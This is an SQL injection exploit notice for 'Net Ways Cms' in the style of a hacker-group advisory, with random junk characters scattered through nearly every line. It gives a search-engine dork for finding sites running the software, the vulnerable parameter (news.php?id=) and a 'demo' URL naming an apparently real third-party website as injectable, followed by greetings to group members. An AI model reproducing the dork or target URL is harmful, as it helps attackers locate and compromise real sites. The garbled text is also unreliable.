################################################################################??########
, i" j, o+ H5 r* m* x) W5 H' j! O# - _: R/ ?( N7 Q4 c2 g2 ]
# Exploit Title : Net Ways Cms Sql Injection Vulnerability 9 ^0 E: W7 h5 [2 a: z
#
9 y9 e1 `) ^9 N* j" m4 V- K# Author : IrIsT.Ir
8 c- N( X& v1 r- z#
N0 [! ?& N" `: W5 v1 z# Discovered By : Am!r
$ ?5 I0 R' w6 m" \( ~# $ @7 B8 ~3 @/ X/ G7 E/ n8 |2 G
# Home : http://IrIsT.Ir/forum
: O8 ], u- z R#
4 h: k& F3 @ c$ b6 r# Software Link : http://www.netways.com/ www.political-security.com
7 O, x! y3 M/ f6 m# ) m' f% `! G$ k! F
# Security Risk : High
# `' E) s8 P" T! l$ Z$ k6 K#
2 ]( K; ?6 |- }( D- G& V# Version : All Version # L' C% k* ~/ n+ W. z4 S
#
1 B/ U" k$ x; S7 B& g' Y# P# Tested on : GNU/Linux Ubuntu - Windows Server - win7 2 [4 g1 ~- S& |* o2 ^+ h2 g, t
#
& q; g% t9 y4 G* w$ O* ~/ s# Dork : intext:"Designed & developed by NetWays" 0 I m1 X' y' s
# + z- z& }, L5 a7 r0 D
################################################################################??######## ' L; O9 d2 _ U _ ~- k
# % J* `$ Q: H, v% k: w& E" I
# Expl0iTs : ; q8 O: J0 A' O& M; B6 L! Y
# 3 H {! P% j3 r$ r
# http://target.com/news.php?id=[Sql]
+ U$ h( ^, \) W( F* a3 w: K# 5 _* z+ S* N: ?4 y4 k
# 8 g2 ~9 I* p' ^, T4 G8 N
# D3mo : ' c0 T7 P' O" X
# R5 e8 [9 L; ^. `# X2 U6 \) u
# http://compagnieparento.com/news.php?id=7[Sql] 1 O$ T3 X% U7 Y, J5 a
#
/ Q. x; \, j7 f5 `+ l# E################################################################################??########
, _) S3 b' E+ L#
w1 @5 F+ U- _$ k1 f( b4 g* W7 I5 K# N# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r % ^7 t1 z1 j) O# V. V! K- y
# % e& O* Q4 `5 s/ c6 P8 K6 O
# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r 0 e/ s# z! S4 m( X( A0 G% z
# 8 a' p$ ] b" G; U7 [
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum
& i8 n% k; U7 h2 n% ^. j5 a#
' {: O% J) K6 l' Q) U################################################################################??######## |